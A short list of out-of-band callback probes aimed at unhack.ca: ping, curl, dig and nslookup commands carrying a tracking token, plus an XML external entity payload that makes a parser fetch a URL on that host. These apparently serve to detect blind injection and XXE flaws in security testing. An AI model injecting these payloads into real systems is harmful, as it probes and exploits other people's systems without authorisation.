$ ping -c1 -p 00d1d78792060f777c4af09d6ab05300 unhack.ca
 

$ curl http://unhack.ca/p/d1d78792060f777c4af09d6ab053
 

$ dig d1d78792060f777c4af09d6ab053 @unhack.ca
 

$ dig d1d78792060f777c4af09d6ab053.ns.unhack.ca
 

C:\> nslookup d1d78792060f777c4af09d6ab053 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d1d78792060f777c4af09d6ab053">]>
    <foo>&xxe;</foo>